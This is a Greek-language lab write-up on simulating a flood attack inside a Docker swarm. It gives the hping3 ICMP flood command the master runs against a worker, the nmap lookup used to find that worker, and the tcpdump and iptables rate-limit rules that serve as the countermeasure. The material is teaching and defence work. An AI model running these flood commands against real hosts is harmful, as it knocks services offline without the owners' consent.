## Προσομοίωση DDos Attack Για την προσομοίωση της επίθεσης DDos θα χρησιμοποιήσουμε το **hping3**. Μέσω αυτού του εργαλείου, θα γίνει επίθεση από τον master σε μέλη του σμήνους. Αρχικά θα κάνουμε εγκατάσταση του hping3 με τις εντολές: **sudo apt update** **sudo apt upgrade -y** **sudo apt install hping3 -y** _____________________________________________________________ ### Εκτέλεση Επίθεσης Στη συνέχεια, θα χρειαστούμε τις ip του δικτύου μας και του worker στον οποίο θα επιτεθούμε. Θα χρησιμοποιήσουμε αυτοτελείς, αλλά και με τροποποιήσεις, τις εντολές από το αρχείο **run.sh**. Τις εντολές αυτές και την εντολή της εκτέλεσης της επίθεσης, θα γράψουμε στο script **master.sh**. * Η μεταβλητή my_ip περιέχει την ip του master **my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')** * Για να πάρουμε την ip του όλου του δικτύου, θα εμφωλεύσουμε στη μεταβλητή network το περιεχόμενο της my_ip, αλλά το τελευταίο ψηφίο, τώρα είναι *. **network=$(echo $my_ip | sed 's/.[0-9]$/.*/')** * Στη μεταβλητή worker περιέχεται η ip του πρώτου worker, όπως αυτός υπάρχει στο σμήνος. Εάν θέλουμε να επιτεθούμε σε κάποιον άλλο worker, θα βάλουμε το επιθυμητό ψηφίο στην παράμετρο **grep worker_ψηφίο**. **worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()')** * Τώρα που έχουμε τις απαραίτητες πληροφορίες, μπορούμε να εκτελέσουμε την επίθεση. Χρησιμοποιώντας τη –flood στέλνονται τα πακέτα όσο το δυνατόν γρηγορότερα και δεν θα εμφανίζει τις απαντήσεις. **sudo hping3 -p 80 --flood --icmp $worker** ______________________________________________ ### Αντιμετώπιση Επίθεσης Αρχικά, θα πρέπει να συνδεθούμε στο worker που δέχεται την επίθεση με τη γνωστή εντολ, **ssh docker@ip** , όπου ip, εκείνη του εκάστοτε κόμβου. Χρησιμοποιώντας τα εργαλεία tcdump, netstat, αλλά και iptables, παρατηρούμε μέτρα για την αντιμετώπιση της επίθεσης, τα οποία παίρνει ο εκάστοτε worker. Θα πρέπει να εγκαταστήσουμε τα εν λόγω εργαλεία: **sudo apt update** **sudo apt upgrade -y** **sudo apt install tcpdump -y** **sudo apt install iptables -y** Στη συνέχεια θα γράψουμε ένα νέο script **worker.sh**, το οποίο θα περιλαμβάνει τη χρήση των εργαλείων. Το script πρέπει να εκτελεστεί αφού πρώτα έχουμε συνδεθεί στον αντίστοιχο worker. * Όπως και στο master.sh, αποθηκεύουμε την ip του worker σε μία μεταβλητή. **my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')** * Μέσω των iptables βλέπουμε τι συμβαίνει στο worker κατά την επίθεση. **sudo iptables -F** * Για 2" παρακολουθούμε μόνο τα replies του επιτιθέμενου προς τον master (που εκτελέι την DDos). Χρησιμοποιώντας το firewall, φιλτράρονται τα εισερχόμενα πακέτα ICMP και θα πρέπει τα incoming να είναι όσα και οι απαντήσεις του worker. **sudo timeout 2s tcpdump -i eth0 icmp and src $my_ip** * Ως αντίμετρο, ο worker επιτρέπει μόνο ένα ICMP πακέτο ανά 1" **sudo iptables -N icmp_flood** **sudo iptables -A INPUT -p icmp -j icmp_flood** **sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN** **sudo iptables -A icmp_flood -j DROP** * Επιβλέπουμε για 5" τα ICMP replies προς τον master. Παρατηρώντας πόσο αλλάζει το μέγεθος των ICMP πακέτων ανά το διαφορετικό χρονικό όριο, βγάζουμε και τα αντίστοιχα συμπεράσματα. **sudo timeout 5s tcpdump -i eth0 icmp and src $my_ip** ______________________________________________________ ![Εκτέλεση](https://www.youtube.com/watch?v=cs1sBPXpxOM&list=PLaKogpRx0GkiptaxF4vra2EojSecVufVk&index=2) ______________________________________________________ **References** 1. http://www.ijens.org/Vol_12_I_03/1210803-7474-IJET-IJENS.pdf 2. https://www.infosectrain.com/blog/dos-ddos-attacks/ 3. https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/